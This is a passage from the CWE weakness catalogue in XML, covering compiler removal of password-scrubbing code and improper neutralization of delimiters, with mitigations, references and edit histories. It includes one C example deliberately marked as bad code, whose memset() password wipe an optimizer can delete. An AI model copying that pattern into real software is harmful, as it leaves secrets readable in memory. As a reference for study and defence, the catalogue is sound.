							identifies and removes the function that overwrites the contents as a
							dead store because the memory is not used subsequently.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>503</Relationship_Target_ID>
					          <!--Byte/Object Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>733</Relationship_Target_ID>
					          <!--Compiler Optimization Removal or Modification of Security-critical Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>729</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A8 - Insecure Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>747</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Build and Compilation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness will allow data that has not been cleared from memory to
							be read. If this data contains sensitive password information, then an
							attacker can read the password and use the information to bypass
							protection mechanisms.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>This specific weakness is impossible to detect using black box
							methods. While an analyst could examine memory to see that it has not
							been scrubbed, an analysis of the executable would not be successful.
							This is because the compiler has already removed the relevant code. Only
							the source code shows whether the programmer intended to clear the
							memory or not, so this weakness is indistinguishable from others.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>White Box</Method_Name>
					          <Method_Description>
						            <Text>This weakness is only detectable using white box methods (see black
							box detection factor). Careful analysis is required to determine if the
							code is likely to be removed by the compiler.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Store the sensitive data in a "volatile" memory location if
							available.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If possible, configure your compiler so that it does not remove dead
							stores.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Where possible, encrypt sensitive data that are used by a software
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code reads a password from the user, uses the password
						to connect to a back-end mainframe and then attempts to scrub the password
						from memory using memset().</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void GetData(char *MFAddr) {</Code>
							              <Block>
								                <Code>char pwd[64];</Code>
								                <Code>if (GetPasswordFromUser(pwd, sizeof(pwd))) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>if (ConnectToMainframe(MFAddr, pwd)) {</Code>
									                  <Block>
										                    <Code/>
										                    <Comment>// Interaction with mainframe</Comment>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>memset(pwd, 0, sizeof(pwd));</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The code in the example will behave correctly if it is executed
							verbatim, but if the code is compiled using an optimizing compiler, such
							as Microsoft Visual C++ .NET or GCC 3.x, then the call to memset() will
							be removed as a dead store because the buffer pwd is not used after its
							value is overwritten [18]. Because the buffer pwd contains a sensitive
							value, the application may be vulnerable to attack if the data are left
							memory resident. If attackers are able to access the correct region of
							memory, they may use the recovered password to gain control of the
							system.</Text>
						            <Text> It is common practice to overwrite sensitive data manipulated in
							memory, such as passwords or cryptographic keys, in order to prevent
							attackers from learning system secrets. However, with the advent of
							optimizing compilers, programs do not always behave as their source code
							alone would suggest. In the example, the compiler interprets the call to
							memset() as dead code because the memory being written to is not
							subsequently used, despite the fact that there is clearly a security
							motivation for the operation to occur. The problem here is that many
							compilers, and in fact many programming languages, do not take this and
							other security concerns into consideration in their efforts to improve
							efficiency.</Text>
						            <Text> Attackers typically exploit this type of vulnerability by using a
							core dump or runtime mechanism to access the memory used by a particular
							application and recover the secret information. Once an attacker has
							access to the secret information, it is relatively straightforward to
							further exploit the system and possibly compromise other resources with
							which the application interacts.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 9, "A Compiler Optimization Caveat" Page
						322</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference>
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Title>When scrubbing secrets in memory doesn't work</Reference_Title>
					          <Reference_Publication>BugTraq</Reference_Publication>
					          <Reference_Date>2002-11-05</Reference_Date>
					          <Reference_Link>http://cert.uni-stuttgart.de/archive/bugtraq/2002/11/msg00046.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Title>Some Bad News and Some Good News</Reference_Title>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_Date>2002-10-21</Reference_Date>
					          <Reference_Link>http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure10102002.asp</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Joseph Wagner</Reference_Author>
					          <Reference_Title>GNU GCC: Optimizer Removes Code Necessary for
						Security</Reference_Title>
					          <Reference_Publication>Bugtraq</Reference_Publication>
					          <Reference_Date>2002-11-16</Reference_Date>
					          <Reference_Link>http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-11/0257.html</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Insecure Compiler Optimization</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Sensitive memory uncleared by compiler
						optimization</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Storage</Mapped_Node_Name>
					          <Mapped_Node_ID>A8</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Be aware of compiler optimization when dealing with sensitive
						data</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC06-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Be aware of compiler optimization when dealing with sensitive
						data</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC06-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description,
						Detection_Factors, Other_Notes, Potential_Mitigations, Relationships,
						Taxonomy_Mappings, Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Insecure Compiler
						Optimization</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="140" Name="Improper Neutralization of Delimiters" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not neutralize or incorrectly neutralizes
					delimiters.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that delimiters will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Delimiter Problems</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>15</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Delimiter
						Problems</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Failure to Sanitize
						Delimiters</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="141" Name="Improper Neutralization of Parameter/Argument Delimiters" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as parameter or argument delimiters when they are sent to a
					downstream component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, an injected/absent/malformed delimiter may cause the
						process to take unexpected actions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>140</Relationship_Target_ID>
					          <!--Improper Neutralization of Delimiters-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that parameter/argument delimiters will
							be injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0307</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker inserts field separator into input to
						specify admin privileges.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Embedded Delimiters", Page
						408.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 10, "IFS", Page 604.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Parameter Delimiter</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Parameter
						Delimiter</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Failure to Sanitize
						Parameter/Argument Delimiters</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="142" Name="Improper Neutralization of Value Delimiters" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as value delimiters when they are sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, an injected/absent/malformed delimiter may cause the
						process to take unexpected actions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
